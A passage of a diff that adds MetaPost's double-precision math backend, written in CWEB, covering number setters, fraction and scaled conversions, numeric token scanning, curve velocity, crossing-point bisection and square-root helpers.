+  math->half_fraction_threshold_t.data.dval = half_fraction_threshold;
+  mp_new_number (mp, &math->scaled_threshold_t, mp_scaled_type);
+  math->scaled_threshold_t.data.dval = scaled_threshold;
+  mp_new_number (mp, &math->half_scaled_threshold_t, mp_scaled_type);
+  math->half_scaled_threshold_t.data.dval = half_scaled_threshold;
+  mp_new_number (mp, &math->near_zero_angle_t, mp_angle_type);
+  math->near_zero_angle_t.data.dval = near_zero_angle;
+  mp_new_number (mp, &math->p_over_v_threshold_t, mp_fraction_type);
+  math->p_over_v_threshold_t.data.dval = p_over_v_threshold;
+  mp_new_number (mp, &math->equation_threshold_t, mp_scaled_type);
+  math->equation_threshold_t.data.dval = equation_threshold;
+  mp_new_number (mp, &math->tfm_warn_threshold_t, mp_scaled_type);
+  math->tfm_warn_threshold_t.data.dval = tfm_warn_threshold;
+  /* functions */
+  math->from_int = mp_set_double_from_int;
+  math->from_boolean = mp_set_double_from_boolean;
+  math->from_scaled = mp_set_double_from_scaled;
+  math->from_double = mp_set_double_from_double;
+  math->from_addition  = mp_set_double_from_addition;
+  math->from_substraction  = mp_set_double_from_substraction;
+  math->from_oftheway  = mp_set_double_from_of_the_way;
+  math->from_div  = mp_set_double_from_div;
+  math->from_mul  = mp_set_double_from_mul;
+  math->from_int_div  = mp_set_double_from_int_div;
+  math->from_int_mul  = mp_set_double_from_int_mul;
+  math->negate = mp_number_negate;
+  math->add  = mp_number_add;
+  math->substract = mp_number_substract;
+  math->half = mp_number_half;
+  math->halfp = mp_number_halfp;
+  math->do_double = mp_number_double;
+  math->abs = mp_double_abs;
+  math->clone = mp_number_clone;
+  math->swap = mp_number_swap;
+  math->add_scaled = mp_number_add_scaled;
+  math->multiply_int = mp_number_multiply_int;
+  math->divide_int = mp_number_divide_int;
+  math->to_boolean = mp_number_to_boolean;
+  math->to_scaled = mp_number_to_scaled;
+  math->to_double = mp_number_to_double;
+  math->to_int = mp_number_to_int;
+  math->odd = mp_number_odd;
+  math->equal = mp_number_equal;
+  math->less = mp_number_less;
+  math->greater = mp_number_greater;
+  math->nonequalabs = mp_number_nonequalabs;
+  math->round_unscaled = mp_round_unscaled;
+  math->floor_scaled = mp_number_floor;
+  math->fraction_to_round_scaled = mp_double_fraction_to_round_scaled;
+  math->make_scaled = mp_double_number_make_scaled;
+  math->make_fraction = mp_double_number_make_fraction;
+  math->take_fraction = mp_double_number_take_fraction;
+  math->take_scaled = mp_double_number_take_scaled;
+  math->velocity = mp_double_velocity;
+  math->n_arg = mp_double_n_arg;
+  math->m_log = mp_double_m_log;
+  math->m_exp = mp_double_m_exp;
+  math->m_unif_rand = mp_double_m_unif_rand;
+  math->m_norm_rand = mp_double_m_norm_rand;
+  math->pyth_add = mp_double_pyth_add;
+  math->pyth_sub = mp_double_pyth_sub;
+  math->fraction_to_scaled = mp_number_fraction_to_scaled;
+  math->scaled_to_fraction = mp_number_scaled_to_fraction;
+  math->scaled_to_angle = mp_number_scaled_to_angle;
+  math->angle_to_scaled = mp_number_angle_to_scaled;
+  math->init_randoms = mp_init_randoms;
+  math->sin_cos = mp_double_sin_cos;
+  math->slow_add = mp_double_slow_add;
+  math->sqrt = mp_double_square_rt;
+  math->print = mp_double_print_number;
+  math->tostring = mp_double_number_tostring;
+  math->modulo = mp_number_modulo;
+  math->ab_vs_cd = mp_ab_vs_cd;
+  math->crossing_point = mp_double_crossing_point;
+  math->scan_numeric = mp_double_scan_numeric_token;
+  math->scan_fractional = mp_double_scan_fractional_token;
+  math->free_math = mp_free_double_math;
+  math->set_precision = mp_double_set_precision;
+  return (void *)math;
+}
+
+void mp_double_set_precision (MP mp) {
+}
+
+void mp_free_double_math (MP mp) {
+  free_number (((math_data *)mp->math)->three_sixty_deg_t);
+  free_number (((math_data *)mp->math)->one_eighty_deg_t);
+  free_number (((math_data *)mp->math)->fraction_one_t);
+  free_number (((math_data *)mp->math)->zero_t);
+  free_number (((math_data *)mp->math)->half_unit_t);
+  free_number (((math_data *)mp->math)->three_quarter_unit_t);
+  free_number (((math_data *)mp->math)->unity_t);
+  free_number (((math_data *)mp->math)->two_t);
+  free_number (((math_data *)mp->math)->three_t);
+  free_number (((math_data *)mp->math)->one_third_inf_t);
+  free_number (((math_data *)mp->math)->inf_t);
+  free_number (((math_data *)mp->math)->warning_limit_t);
+  free_number (((math_data *)mp->math)->one_k);
+  free_number (((math_data *)mp->math)->sqrt_8_e_k);
+  free_number (((math_data *)mp->math)->twelve_ln_2_k);
+  free_number (((math_data *)mp->math)->coef_bound_k);
+  free_number (((math_data *)mp->math)->coef_bound_minus_1);
+  free_number (((math_data *)mp->math)->fraction_threshold_t);
+  free_number (((math_data *)mp->math)->half_fraction_threshold_t);
+  free_number (((math_data *)mp->math)->scaled_threshold_t);
+  free_number (((math_data *)mp->math)->half_scaled_threshold_t);
+  free_number (((math_data *)mp->math)->near_zero_angle_t);
+  free_number (((math_data *)mp->math)->p_over_v_threshold_t);
+  free_number (((math_data *)mp->math)->equation_threshold_t);
+  free_number (((math_data *)mp->math)->tfm_warn_threshold_t);
+  free(mp->math);
+}
+
+@ Creating an destroying |mp_number| objects
+
+@ @c
+void mp_new_number (MP mp, mp_number *n, mp_number_type t) {
+  (void)mp;
+  n->data.dval = 0.0;
+  n->type = t;
+}
+
+@ 
+
+@c
+void mp_free_number (MP mp, mp_number *n) {
+  (void)mp;
+  n->type = mp_nan_type;
+}
+
+@ Here are the low-level functions on |mp_number| items, setters first.
+
+@c 
+void mp_set_double_from_int(mp_number *A, int B) {
+  A->data.dval = B;
+}
+void mp_set_double_from_boolean(mp_number *A, int B) {
+  A->data.dval = B;
+}
+void mp_set_double_from_scaled(mp_number *A, int B) {
+  A->data.dval = B / 65536.0;
+}
+void mp_set_double_from_double(mp_number *A, double B) {
+  A->data.dval = B;
+}
+void mp_set_double_from_addition(mp_number *A, mp_number B, mp_number C) {
+  A->data.dval = B.data.dval+C.data.dval;
+}
+void mp_set_double_from_substraction (mp_number *A, mp_number B, mp_number C) {
+ A->data.dval = B.data.dval-C.data.dval;
+}
+void mp_set_double_from_div(mp_number *A, mp_number B, mp_number C) {
+  A->data.dval = B.data.dval / C.data.dval;
+}
+void mp_set_double_from_mul(mp_number *A, mp_number B, mp_number C) {
+  A->data.dval = B.data.dval * C.data.dval;
+}
+void mp_set_double_from_int_div(mp_number *A, mp_number B, int C) {
+  A->data.dval = B.data.dval / C;
+}
+void mp_set_double_from_int_mul(mp_number *A, mp_number B, int C) {
+  A->data.dval = B.data.dval * C;
+}
+void mp_set_double_from_of_the_way(MP mp, mp_number *A, mp_number t, mp_number B, mp_number C) {
+  A->data.dval = B.data.dval - mp_double_take_fraction(mp, (B.data.dval - C.data.dval), t.data.dval);
+}
+void mp_number_negate(mp_number *A) {
+  A->data.dval = -A->data.dval;
+  if (A->data.dval == -0.0)
+    A->data.dval = 0.0;
+}
+void mp_number_add(mp_number *A, mp_number B) {
+  A->data.dval = A->data.dval + B.data.dval;
+}
+void mp_number_substract(mp_number *A, mp_number B) {
+  A->data.dval = A->data.dval - B.data.dval;
+}
+void mp_number_half(mp_number *A) {
+  A->data.dval = A->data.dval/2.0;
+}
+void mp_number_halfp(mp_number *A) {
+  A->data.dval = (A->data.dval/2.0);
+}
+void mp_number_double(mp_number *A) {
+  A->data.dval = A->data.dval * 2.0;
+}
+void mp_number_add_scaled(mp_number *A, int B) { /* also for negative B */
+  A->data.dval = A->data.dval + (B/65536.0);
+}
+void mp_number_multiply_int(mp_number *A, int B) {
+  A->data.dval = (double)(A->data.dval * B);
+}
+void mp_number_divide_int(mp_number *A, int B) {
+  A->data.dval = A->data.dval / (double)B;
+}
+void mp_double_abs(mp_number *A) {   
+  A->data.dval = fabs(A->data.dval);
+}
+void mp_number_clone(mp_number *A, mp_number B) {
+  A->data.dval = B.data.dval;
+}
+void mp_number_swap(mp_number *A, mp_number *B) {
+  double swap_tmp = A->data.dval;
+  A->data.dval = B->data.dval;
+  B->data.dval = swap_tmp;
+}
+void mp_number_fraction_to_scaled (mp_number *A) {
+    A->type = mp_scaled_type;
+    A->data.dval = A->data.dval / fraction_multiplier;
+}
+void mp_number_angle_to_scaled (mp_number *A) {
+    A->type = mp_scaled_type;
+    A->data.dval = A->data.dval / angle_multiplier;
+}
+void mp_number_scaled_to_fraction (mp_number *A) {
+    A->type = mp_fraction_type;
+    A->data.dval = A->data.dval * fraction_multiplier;
+}
+void mp_number_scaled_to_angle (mp_number *A) {
+    A->type = mp_angle_type;
+    A->data.dval = A->data.dval * angle_multiplier;
+}
+
+
+@ Query functions
+
+@c
+int mp_number_to_scaled(mp_number A) {
+  return (int)ROUND(A.data.dval * 65536.0);
+}
+int mp_number_to_int(mp_number A) {
+  return (int)(A.data.dval);
+}
+int mp_number_to_boolean(mp_number A) {
+  return (int)(A.data.dval);
+}
+double mp_number_to_double(mp_number A) {
+  return A.data.dval;
+}
+int mp_number_odd(mp_number A) {
+  return odd((int)ROUND(A.data.dval * 65536.0));
+}
+int mp_number_equal(mp_number A, mp_number B) {
+  return (A.data.dval==B.data.dval);
+}
+int mp_number_greater(mp_number A, mp_number B) {
+  return (A.data.dval>B.data.dval);
+}
+int mp_number_less(mp_number A, mp_number B) {
+  return (A.data.dval<B.data.dval);
+}
+int mp_number_nonequalabs(mp_number A, mp_number B) {
+  return (!(fabs(A.data.dval)==fabs(B.data.dval)));
+}
+
+@ Fixed-point arithmetic is done on {\sl scaled integers\/} that are multiples
+of $2^{-16}$. In other words, a binary point is assumed to be sixteen bit
+positions from the right end of a binary computer word.
+
+@d unity   1.0
+@d two 2.0
+@d three 3.0
+@d half_unit  0.5
+@d three_quarter_unit 0.75
+
+@d EL_GORDO   (DBL_MAX/2.0-1.0) /* the largest value that \MP\ likes. */
+@d one_third_EL_GORDO (EL_GORDO/3.0)
+
+@ One of \MP's most common operations is the calculation of
+$\lfloor{a+b\over2}\rfloor$,
+the midpoint of two given integers |a| and~|b|. The most decent way to do
+this is to write `|(a+b)/2|'; but on many machines it is more efficient 
+to calculate `|(a+b)>>1|'.
+
+Therefore the midpoint operation will always be denoted by `|half(a+b)|'
+in this program. If \MP\ is being implemented with languages that permit
+binary shifting, the |half| macro should be changed to make this operation
+as efficient as possible.  Since some systems have shift operators that can
+only be trusted to work on positive numbers, there is also a macro |halfp|
+that is used only when the quantity being halved is known to be positive
+or zero.
+
+@ Here is a procedure analogous to |print_int|.  The current version
+is fairly stupid, and it is not round-trip safe, but this is good
+enough for a beta test.
+
+@c
+char * mp_double_number_tostring (MP mp, mp_number n) {
+   static char set[64];
+   int l = 0;
+   char *ret = mp_xmalloc(mp, 64, 1);
+   snprintf(set, 64, "%.17g", n.data.dval);
+   while (set[l] == ' ') l++;
+   strcpy(ret, set+l);
+   return ret;
+}
+
+
+@ @c
+void mp_double_print_number (MP mp, mp_number n) {
+  char *str = mp_double_number_tostring(mp, n);
+  mp_print (mp, str);
+  free (str);
+}
+
+
+
+
+@ Addition is not always checked to make sure that it doesn't overflow,
+but in places where overflow isn't too unlikely the |slow_add| routine
+is used.
+
+@c
+void mp_double_slow_add (MP mp, mp_number *ret, mp_number x_orig, mp_number y_orig) {
+  double x, y;
+  x = x_orig.data.dval;
+  y = y_orig.data.dval;
+  if (x >= 0) {
+    if (y <= EL_GORDO - x) {
+      ret->data.dval = x + y;
+    } else {
+      mp->arith_error = true;
+      ret->data.dval =  EL_GORDO;
+    }
+  } else if (-y <= EL_GORDO + x) {
+    ret->data.dval = x + y;
+  } else {
+    mp->arith_error = true;
+    ret->data.dval =  -EL_GORDO;
+  }
+}
+
+@ The |make_fraction| routine produces the |fraction| equivalent of
+|p/q|, given integers |p| and~|q|; it computes the integer
+$f=\lfloor2^{28}p/q+{1\over2}\rfloor$, when $p$ and $q$ are
+positive. If |p| and |q| are both of the same scaled type |t|,
+the ``type relation'' |make_fraction(t,t)=fraction| is valid;
+and it's also possible to use the subroutine ``backwards,'' using
+the relation |make_fraction(t,fraction)=t| between scaled types.
+
+If the result would have magnitude $2^{31}$ or more, |make_fraction|
+sets |arith_error:=true|. Most of \MP's internal computations have
+been designed to avoid this sort of error.
+
+If this subroutine were programmed in assembly language on a typical
+machine, we could simply compute |(@t$2^{28}$@>*p)div q|, since a
+double-precision product can often be input to a fixed-point division
+instruction. But when we are restricted to int-eger arithmetic it
+is necessary either to resort to multiple-precision maneuvering
+or to use a simple but slow iteration. The multiple-precision technique
+would be about three times faster than the code adopted here, but it
+would be comparatively long and tricky, involving about sixteen
+additional multiplications and divisions.
+
+This operation is part of \MP's ``inner loop''; indeed, it will
+consume nearly 10\pct! of the running time (exclusive of input and output)
+if the code below is left unchanged. A machine-dependent recoding
+will therefore make \MP\ run faster. The present implementation
+is highly portable, but slow; it avoids multiplication and division
+except in the initial stage. System wizards should be careful to
+replace it with a routine that is guaranteed to produce identical
+results in all cases.
+@^system dependencies@>
+
+As noted below, a few more routines should also be replaced by machine-dependent
+code, for efficiency. But when a procedure is not part of the ``inner loop,''
+such changes aren't advisable; simplicity and robustness are
+preferable to trickery, unless the cost is too high.
+@^inner loop@>
+
+@c
+double mp_double_make_fraction (MP mp, double p, double q) {
+  return ((p / q) * fraction_multiplier);
+}
+void mp_double_number_make_fraction (MP mp, mp_number *ret, mp_number p, mp_number q) {
+  ret->data.dval = mp_double_make_fraction (mp, p.data.dval, q.data.dval);
+}
+
+@ @<Declarations@>=
+double mp_double_make_fraction (MP mp, double p, double q);
+
+@ The dual of |make_fraction| is |take_fraction|, which multiplies a
+given integer~|q| by a fraction~|f|. When the operands are positive, it
+computes $p=\lfloor qf/2^{28}+{1\over2}\rfloor$, a symmetric function
+of |q| and~|f|.
+
+This routine is even more ``inner loopy'' than |make_fraction|;
+the present implementation consumes almost 20\pct! of \MP's computation
+time during typical jobs, so a machine-language substitute is advisable.
+@^inner loop@> @^system dependencies@>
+
+@c
+double mp_double_take_fraction (MP mp, double p, double q) {
+  return ((p * q) / fraction_multiplier);
+}
+void mp_double_number_take_fraction (MP mp, mp_number *ret, mp_number p, mp_number q) {
+  ret->data.dval = mp_double_take_fraction (mp, p.data.dval, q.data.dval);
+}
+
+@ @<Declarations@>=
+double mp_double_take_fraction (MP mp, double p, double q);
+
+@ When we want to multiply something by a |scaled| quantity, we use a scheme
+analogous to |take_fraction| but with a different scaling.
+Given positive operands, |take_scaled|
+computes the quantity $p=\lfloor qf/2^{16}+{1\over2}\rfloor$.
+
+Once again it is a good idea to use a machine-language replacement if
+possible; otherwise |take_scaled| will use more than 2\pct! of the running time
+when the Computer Modern fonts are being generated.
+@^inner loop@>
+
+@c
+void mp_double_number_take_scaled (MP mp, mp_number *ret, mp_number p_orig, mp_number q_orig) {
+  ret->data.dval = p_orig.data.dval * q_orig.data.dval;
+}
+
+
+@ For completeness, there's also |make_scaled|, which computes a
+quotient as a |scaled| number instead of as a |fraction|.
+In other words, the result is $\lfloor2^{16}p/q+{1\over2}\rfloor$, if the
+operands are positive. \ (This procedure is not used especially often,
+so it is not part of \MP's inner loop.)
+
+@c
+double mp_double_make_scaled (MP mp, double p, double q) {
+    return p / q;
+}
+void mp_double_number_make_scaled (MP mp, mp_number *ret, mp_number p_orig, mp_number q_orig) {
+  ret->data.dval = p_orig.data.dval / q_orig.data.dval;
+}
+
+@ @<Declarations@>=
+double mp_double_make_scaled (MP mp, double p, double q);
+
+
+@ 
+@d halfp(A) (integer)((unsigned)(A) >> 1)
+
+@* Scanning numbers in the input
+
+The definitions below are temporarily here
+
+@d set_cur_cmd(A) mp->cur_mod_->type=(A)
+@d set_cur_mod(A) mp->cur_mod_->data.n.data.dval=(A)
+
+@<Declarations...@>=
+static void mp_wrapup_numeric_token(MP mp, unsigned char *start, unsigned char *stop);
+
+@ @c
+void mp_wrapup_numeric_token(MP mp, unsigned char *start, unsigned char *stop) {
+  double result;
+  char *end = (char *)stop;
+  errno = 0;
+  result = strtod ((char *)start, &end);
+  if (errno == 0) {
+    set_cur_mod(result);
+    if (result >= warning_limit) {
+      if (internal_value (mp_warning_check).data.dval > 0 &&
+          (mp->scanner_status != tex_flushing)) {
+        char msg[256];
+        const char *hlp[] = {"Continue and I'll try to cope",
+               "with that big value; but it might be dangerous.",
+               "(Set warningcheck:=0 to suppress this message.)",
+               NULL };
+        mp_snprintf (msg, 256, "Number is too large (%g)", result);
+@.Number is too large@>;
+        mp_error (mp, msg, hlp, true);
+      }
+    }
+  } else if (mp->scanner_status != tex_flushing) {
+    const char *hlp[] = {"I could not handle this number specification",
+                         "probably because it is out of range. Error:",
+                         "",
+                          NULL };   
+    hlp[2] = strerror(errno);
+    mp_error (mp, "Enormous number has been reduced.", hlp, false);
+@.Enormous number...@>;
+    set_cur_mod(EL_GORDO);
+  }
+  set_cur_cmd((mp_variable_type)mp_numeric_token);
+}
+
+@ @c
+static void find_exponent (MP mp)  {
+  if (mp->buffer[mp->cur_input.loc_field] == 'e' || 
+      mp->buffer[mp->cur_input.loc_field] == 'E') {
+     mp->cur_input.loc_field++;
+     if (!(mp->buffer[mp->cur_input.loc_field] == '+' || 
+        mp->buffer[mp->cur_input.loc_field] == '-' ||
+	mp->char_class[mp->buffer[mp->cur_input.loc_field]] == digit_class)) {
+       mp->cur_input.loc_field--;
+       return;
+     }     
+     if (mp->buffer[mp->cur_input.loc_field] == '+' || 
+        mp->buffer[mp->cur_input.loc_field] == '-') {
+        mp->cur_input.loc_field++;
+     }
+     while (mp->char_class[mp->buffer[mp->cur_input.loc_field]] == digit_class) {
+       mp->cur_input.loc_field++;
+     }
+  }
+}
+void mp_double_scan_fractional_token (MP mp, int n) { /* n: scaled */
+  unsigned char *start = &mp->buffer[mp->cur_input.loc_field -1];
+  unsigned char *stop;
+  while (mp->char_class[mp->buffer[mp->cur_input.loc_field]] == digit_class) {
+     mp->cur_input.loc_field++;
+  }
+  find_exponent(mp);
+  stop = &mp->buffer[mp->cur_input.loc_field-1];
+  mp_wrapup_numeric_token (mp, start, stop);
+}
+
+
+@ Input format is the same as for the C language, so we just collect valid
+bytes in the buffer, then call |strtod()|
+
+@c
+void mp_double_scan_numeric_token (MP mp, int n) { /* n: scaled */
+  unsigned char *start = &mp->buffer[mp->cur_input.loc_field -1];
+  unsigned char *stop;
+  while (mp->char_class[mp->buffer[mp->cur_input.loc_field]] == digit_class) {
+     mp->cur_input.loc_field++;
+  }
+  if (mp->buffer[mp->cur_input.loc_field] == '.' && 
+      mp->buffer[mp->cur_input.loc_field+1] != '.') {
+     mp->cur_input.loc_field++;
+     while (mp->char_class[mp->buffer[mp->cur_input.loc_field]] == digit_class) {
+       mp->cur_input.loc_field++;
+     }
+  } 
+  find_exponent(mp);
+  stop = &mp->buffer[mp->cur_input.loc_field-1];
+  mp_wrapup_numeric_token (mp, start, stop);
+}
+
+@ The |scaled| quantities in \MP\ programs are generally supposed to be
+less than $2^{12}$ in absolute value, so \MP\ does much of its internal
+arithmetic with 28~significant bits of precision. A |fraction| denotes
+a scaled integer whose binary point is assumed to be 28 bit positions
+from the right.
+
+@d fraction_half (0.5*fraction_multiplier)
+@d fraction_one (1.0*fraction_multiplier)
+@d fraction_two (2.0*fraction_multiplier)
+@d fraction_three (3.0*fraction_multiplier)
+@d fraction_four (4.0*fraction_multiplier)
+
+@ Here is a typical example of how the routines above can be used.
+It computes the function
+$${1\over3\tau}f(\theta,\phi)=
+{\tau^{-1}\bigl(2+\sqrt2\,(\sin\theta-{1\over16}\sin\phi)
+ (\sin\phi-{1\over16}\sin\theta)(\cos\theta-\cos\phi)\bigr)\over
+3\,\bigl(1+{1\over2}(\sqrt5-1)\cos\theta+{1\over2}(3-\sqrt5\,)\cos\phi\bigr)},$$
+where $\tau$ is a |scaled| ``tension'' parameter. This is \MP's magic
+fudge factor for placing the first control point of a curve that starts
+at an angle $\theta$ and ends at an angle $\phi$ from the straight path.
+(Actually, if the stated quantity exceeds 4, \MP\ reduces it to~4.)
+
+The trigonometric quantity to be multiplied by $\sqrt2$ is less than $\sqrt2$.
+(It's a sum of eight terms whose absolute values can be bounded using
+relations such as $\sin\theta\cos\theta\L{1\over2}$.) Thus the numerator
+is positive; and since the tension $\tau$ is constrained to be at least
+$3\over4$, the numerator is less than $16\over3$. The denominator is
+nonnegative and at most~6.  
+
+The angles $\theta$ and $\phi$ are given implicitly in terms of |fraction|
+arguments |st|, |ct|, |sf|, and |cf|, representing $\sin\theta$, $\cos\theta$,
+$\sin\phi$, and $\cos\phi$, respectively.
+
+@c
+void mp_double_velocity (MP mp, mp_number *ret, mp_number st, mp_number ct, mp_number sf,
+                  mp_number cf, mp_number t) {
+  double acc, num, denom;      /* registers for intermediate calculations */
+  acc = mp_double_take_fraction (mp, st.data.dval - (sf.data.dval / 16.0), 
+                                     sf.data.dval - (st.data.dval / 16.0));
+  acc = mp_double_take_fraction (mp, acc, ct.data.dval - cf.data.dval);
+  num = fraction_two + mp_double_take_fraction (mp, acc, sqrt(2)*fraction_one);
+  denom =
+    fraction_three + mp_double_take_fraction (mp, ct.data.dval, 3*fraction_half*(sqrt(5.0)-1.0)) 
+                   + mp_double_take_fraction (mp, cf.data.dval, 3*fraction_half*(3.0-sqrt(5.0)));
+  if (t.data.dval != unity)
+    num = mp_double_make_scaled (mp, num, t.data.dval);
+  if (num / 4 >= denom) {
+    ret->data.dval = fraction_four;
+  } else {
+    ret->data.dval = mp_double_make_fraction (mp, num, denom);
+  }
+#if DEBUG
+  fprintf(stdout, "\n%f = velocity(%f,%f,%f,%f,%f)", mp_number_to_double(*ret), 
+mp_number_to_double(st),mp_number_to_double(ct),
+mp_number_to_double(sf),mp_number_to_double(cf),
+mp_number_to_double(t));
+#endif
+}
+
+
+@ The following somewhat different subroutine tests rigorously if $ab$ is
+greater than, equal to, or less than~$cd$,
+given integers $(a,b,c,d)$. In most cases a quick decision is reached.
+The result is $+1$, 0, or~$-1$ in the three respective cases.
+
+@c
+void mp_ab_vs_cd (MP mp, mp_number *ret, mp_number a_orig, mp_number b_orig, mp_number c_orig, mp_number d_orig) {
+  integer q, r; /* temporary registers */
+  integer a, b, c, d;
+  (void)mp;
+  a = a_orig.data.dval;
+  b = b_orig.data.dval;
+  c = c_orig.data.dval;
+  d = d_orig.data.dval;
+  @<Reduce to the case that |a,c>=0|, |b,d>0|@>;
+  while (1) {
+    q = a / d;
+    r = c / b;
+    if (q != r) {
+      ret->data.dval = (q > r ? 1 : -1);
+      goto RETURN;
+    }
+    q = a % d;
+    r = c % b;
+    if (r == 0) {
+      ret->data.dval = (q ? 1 : 0);
+      goto RETURN;
+    }
+    if (q == 0) {
+      ret->data.dval = -1;
+      goto RETURN;
+    }
+    a = b;
+    b = q;
+    c = d;
+    d = r;
+  }                             /* now |a>d>0| and |c>b>0| */
+RETURN:
+#if DEBUG
+  fprintf(stdout, "\n%f = ab_vs_cd(%f,%f,%f,%f)", mp_number_to_double(*ret), 
+mp_number_to_double(a_orig),mp_number_to_double(b_orig),
+mp_number_to_double(c_orig),mp_number_to_double(d_orig));
+#endif
+  return;
+}
+
+
+@ @<Reduce to the case that |a...@>=
+if (a < 0) {
+  a = -a;
+  b = -b;
+}
+if (c < 0) {
+  c = -c;
+  d = -d;
+}
+if (d <= 0) {
+  if (b >= 0) {
+    if ((a == 0 || b == 0) && (c == 0 || d == 0)) 
+      ret->data.dval = 0;
+    else
+      ret->data.dval = 1;
+    goto RETURN;
+  }
+  if (d == 0) {
+    ret->data.dval = (a == 0 ? 0 : -1);
+    goto RETURN;
+  }
+  q = a;
+  a = c;
+  c = q;
+  q = -b;
+  b = -d;
+  d = q;
+} else if (b <= 0) {
+  if (b < 0 && a > 0) {
+    ret->data.dval  = -1;
+    return;
+  }
+  ret->data.dval = (c == 0 ? 0 : -1);
+  goto RETURN;
+}
+
+@ Now here's a subroutine that's handy for all sorts of path computations:
+Given a quadratic polynomial $B(a,b,c;t)$, the |crossing_point| function
+returns the unique |fraction| value |t| between 0 and~1 at which
+$B(a,b,c;t)$ changes from positive to negative, or returns
+|t=fraction_one+1| if no such value exists. If |a<0| (so that $B(a,b,c;t)$
+is already negative at |t=0|), |crossing_point| returns the value zero.
+
+The general bisection method is quite simple when $n=2$, hence
+|crossing_point| does not take much time. At each stage in the
+recursion we have a subinterval defined by |l| and~|j| such that
+$B(a,b,c;2^{-l}(j+t))=B(x_0,x_1,x_2;t)$, and we want to ``zero in'' on
+the subinterval where $x_0\G0$ and $\min(x_1,x_2)<0$.
+
+It is convenient for purposes of calculation to combine the values
+of |l| and~|j| in a single variable $d=2^l+j$, because the operation
+of bisection then corresponds simply to doubling $d$ and possibly
+adding~1. Furthermore it proves to be convenient to modify
+our previous conventions for bisection slightly, maintaining the
+variables $X_0=2^lx_0$, $X_1=2^l(x_0-x_1)$, and $X_2=2^l(x_1-x_2)$.
+With these variables the conditions $x_0\ge0$ and $\min(x_1,x_2)<0$ are
+equivalent to $\max(X_1,X_1+X_2)>X_0\ge0$.
+
+The following code maintains the invariant relations
+$0\L|x0|<\max(|x1|,|x1|+|x2|)$,
+$\vert|x1|\vert<2^{30}$, $\vert|x2|\vert<2^{30}$;
+it has been constructed in such a way that no arithmetic overflow
+will occur if the inputs satisfy
+$a<2^{30}$, $\vert a-b\vert<2^{30}$, and $\vert b-c\vert<2^{30}$.
+
+@d no_crossing   { ret->data.dval = fraction_one + 1; goto RETURN; }
+@d one_crossing  { ret->data.dval = fraction_one; goto RETURN; }
+@d zero_crossing { ret->data.dval = 0; goto RETURN; }
+
+@c
+static void mp_double_crossing_point (MP mp, mp_number *ret, mp_number aa, mp_number bb, mp_number cc) {
+  double a,b,c;
+  double d;    /* recursive counter */
+  double x, xx, x0, x1, x2;    /* temporary registers for bisection */
+  a = aa.data.dval;
+  b = bb.data.dval;
+  c = cc.data.dval;
+  if (a < 0)
+    zero_crossing;
+  if (c >= 0) {
+    if (b >= 0) {
+      if (c > 0) {
+        no_crossing;
+      } else if ((a == 0) && (b == 0)) {
+        no_crossing;
+      } else {
+        one_crossing;
+      }
+    }
+    if (a == 0)
+      zero_crossing;
+  } else if (a == 0) {
+    if (b <= 0)
+      zero_crossing;
+  }
+
+  /* Use bisection to find the crossing point... */
+  d = epsilon;
+  x0 = a;
+  x1 = a - b;
+  x2 = b - c;
+  do {
+    /* not sure why the error correction has to be >= 1E-12 */
+    x = (x1 + x2) / 2 + 1E-12;
+    if (x1 - x0 > x0) {
+      x2 = x;
+      x0 += x0;
+      d += d;
+    } else {
+      xx = x1 + x - x0;
+      if (xx > x0) {
+        x2 = x;
+        x0 += x0;
+        d += d;
+      } else {
+        x0 = x0 - xx;
+        if (x <= x0) {
+          if (x + x2 <= x0)
+            no_crossing;
+        }
+        x1 = x;
+        d = d + d + epsilon;
+      }
+    }
+  } while (d < fraction_one);
+  ret->data.dval = (d - fraction_one); 
+RETURN:
+#if DEBUG
+  fprintf(stdout, "\n%f = crossing_point(%f,%f,%f)", mp_number_to_double(*ret), 
+mp_number_to_double(aa),mp_number_to_double(bb),mp_number_to_double(cc));
+#endif
+  return;
+}
+ 
+
+@ We conclude this set of elementary routines with some simple rounding
+and truncation operations.
+
+
+@ |round_unscaled| rounds a |scaled| and converts it to |int|
+@c
+int mp_round_unscaled(mp_number x_orig) {
+  int x = (int)ROUND(x_orig.data.dval);
+  return x;
+}
+
+@ |number_floor| floors a number
+
+@c
+void mp_number_floor (mp_number *i) {
+  i->data.dval = floor(i->data.dval);
+}
+
+@ |fraction_to_scaled| rounds a |fraction| and converts it to |scaled|
+@c
+void mp_double_fraction_to_round_scaled (mp_number *x_orig) {
+  double x = x_orig->data.dval;
+  x_orig->type = mp_scaled_type;
+  x_orig->data.dval = x/fraction_multiplier;
+}
+
+
+
+@* Algebraic and transcendental functions.
+\MP\ computes all of the necessary special functions from scratch, without
+relying on |real| arithmetic or system subroutines for sines, cosines, etc.
+
+@ 
+
+@c
+void mp_double_square_rt (MP mp, mp_number *ret, mp_number x_orig) { /* return, x: scaled */
+  double x;
+  x = x_orig.data.dval;
+  if (x <= 0) {
+    @<Handle square root of zero or negative argument@>;
+  } else {
+    ret->data.dval = sqrt(x);
+  }
+}
+
+
+@ @<Handle square root of zero...@>=
+{  
+  if (x < 0) {
+    char msg[256];
+    const char *hlp[] = {
+           "Since I don't take square roots of negative numbers,",
+           "I'm zeroing this one. Proceed, with fingers crossed.",
+           NULL };
+    char *xstr = mp_double_number_tostring (mp, x_orig);
+    mp_snprintf(msg, 256, "Square root of %s has been replaced by 0", xstr);
+    free(xstr);
+@.Square root...replaced by 0@>;
+    mp_error (mp, msg, hlp, true);
+  }
+  ret->data.dval = 0;
+  return;
+}
+
+
+@ Pythagorean addition $\psqrt{a^2+b^2}$ is implemented by a quick hack
+
+@c
+void mp_double_pyth_add (MP mp, mp_number *ret, mp_number a_orig, mp_number b_orig) {
+  double a, b; /* a,b : scaled */
+  a = fabs (a_orig.data.dval);
+  b = fabs (b_orig.data.dval);
+  errno = 0;
+  ret->data.dval = sqrt(a*a + b*b);
+  if (errno) {
+    mp->arith_error = true;
+    ret->data.dval = EL_GORDO;
+  }
+}
+
+
+@ Here is a similar algorithm for $\psqrt{a^2-b^2}$. Same quick hack, also.
+
+@c
+void mp_double_pyth_sub (MP mp, mp_number *ret, mp_number a_orig, mp_number b_orig) {
+  double a, b;
+  a = fabs (a_orig.data.dval);
+  b = fabs (b_orig.data.dval);
+  if (a <= b) {
+    @<Handle erroneous |pyth_sub| and set |a:=0|@>;
+  } else {
+    a = sqrt(a*a - b*b);
+  }
+  ret->data.dval = a;
+}
+
+
+@ @<Handle erroneous |pyth_sub| and set |a:=0|@>=
+{
+  if (a < b) {
+    char msg[256];
+    const char *hlp[] = {
+         "Since I don't take square roots of negative numbers,",
